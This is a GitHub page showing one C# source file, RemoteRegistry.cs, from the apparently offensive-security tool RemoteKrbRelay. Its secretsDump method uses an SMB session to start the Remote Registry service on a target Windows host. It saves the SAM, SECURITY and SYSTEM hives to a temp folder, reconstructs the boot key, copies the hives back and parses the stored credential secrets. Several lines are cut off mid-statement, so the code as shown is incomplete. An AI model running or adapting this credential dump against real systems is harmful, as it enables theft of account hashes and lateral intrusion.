Sign in

CICADA8-Research / **RemoteKrbRelay** Public

Notifications · Fork 80 · Star 507

Code · Issues 2 · Pull requests · Actions · Projects · Security · Insights

RemoteKrbRelay / Exploit / RemoteKrbRelay / Relay / Attacks / **RemoteRegistry.cs**

99 lines (88 loc) · 4.36 KB

Code · Blame · Raw

```
using SMBLibrary;
using SMBLibrary.Client;
using SMBLibrary.Client.Helpers;
using SMBLibrary.Services;
using System;
using System.IO;
using System.Text;

namespace RemoteKrbRelay.Clients.Attacks
{
    internal class RemoteRegistry
    {
        public static void secretsDump(SMB2Client smbClient, bool saveToPwd = false)
        {
            if (!ServiceManager.startService(smbClient, "remoteregistry\x00", out bool wasStopped,
            {
                Console.WriteLine("[-] Could not start remoteregistry");
                return;
            }
            using (RPCCallHelper rpc = new RPCCallHelper(smbClient, RrpService.ServicePipeName, Rrp
            {
                var status = rpc.BindPipe();
                if (status != NTStatus.STATUS_SUCCESS)
                {
                    Console.WriteLine("[-] Failed to bind pipe");
                    return;
                }

                var hKey = RrpServiceHelper.OpenLocalMachine(rpc, out status);

                var sam = RrpServiceHelper.BaseRegCreateKey(rpc, hKey, "SAM\x00", out status);
                status = RrpServiceHelper.BaseRegSaveKey(rpc, sam, "C:\\windows\\temp\\sam.tmp");
                RrpServiceHelper.BaseRegCloseKey(rpc, sam, out status);

                var sec = RrpServiceHelper.BaseRegCreateKey(rpc, hKey, "SECURITY\x00", out status);
                status = RrpServiceHelper.BaseRegSaveKey(rpc, sec, "C:\\windows\\temp\\sec.tmp");
                RrpServiceHelper.BaseRegCloseKey(rpc, sec, out status);

                var sys = RrpServiceHelper.BaseRegCreateKey(rpc, hKey, "SYSTEM\x00", out status);
                status = RrpServiceHelper.BaseRegSaveKey(rpc, sys, "C:\\windows\\temp\\sys.tmp");
                RrpServiceHelper.BaseRegCloseKey(rpc, sys, out status);

                StringBuilder scrambledKey = new StringBuilder();
                foreach (var key in new string[] { "JD", "Skew1", "GBG", "Data" }) //,
                {
                    var hBootKey = RrpServiceHelper.BaseRegOpenKey(rpc, hKey, $"SYSTEM\\CurrentCont
                    var v = RrpServiceHelper.baseRegQueryInfoKey(rpc, hBootKey, out status);
                    scrambledKey.Append(v.lpClassOut.Value);
                    RrpServiceHelper.BaseRegCloseKey(rpc, hBootKey, out status);
                }
                RrpServiceHelper.BaseRegCloseKey(rpc, hKey, out status);
                byte[] scrambled = Helpers.Helpers.StringToByteArray(scrambledKey.ToString());
                byte[] transforms = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6,
                byte[] bootKey = new byte[16];
                for (int i = 0; i < 16; i++)
                {
                    bootKey[i] = scrambled[transforms[i]];
                }
                Console.WriteLine("[*] Bootkey: {0}", Helpers.Helpers.ByteArrayToString(bootKey));

                //
                if (wasDisabled)
                {
                    if (!ServiceManager.setService(smbClient, "remoteregistry\x00", SERIVCE_STARTUP
                    {
                        Console.WriteLine("[-] Could not change service config back to Disabled");
                    }
                    else
                    {
                        Console.WriteLine("[*] Service back to original state");
                    }
                }
```

```

                Shares.copyFile(smbClient, "windows\\temp\\sam.tmp", true, out byte[] bsam);
                Shares.copyFile(smbClient, "windows\\temp\\sec.tmp", true, out byte[] bsec);
                Shares.copyFile(smbClient, "windows\\temp\\sys.tmp", true, out byte[] bsys);

                if (bsam.Length > 0 && bsec.Length > 0 && bsys.Length > 0)
                {
                    Console.WriteLine("[+] Dump successful");
                }
                else
                {
                    Console.WriteLine("[-] Dump failed");
                    return;
                }

                if (saveToPwd)
                {
                    File.WriteAllBytes("sam", bsam);
                    File.WriteAllBytes("sec", bsec);
                    File.WriteAllBytes("sys", bsys);
                }

                HiveParser.Parse.ParseSecrets(bsam, bsec, bsys, bootKey);
            }
        }
    }
}
```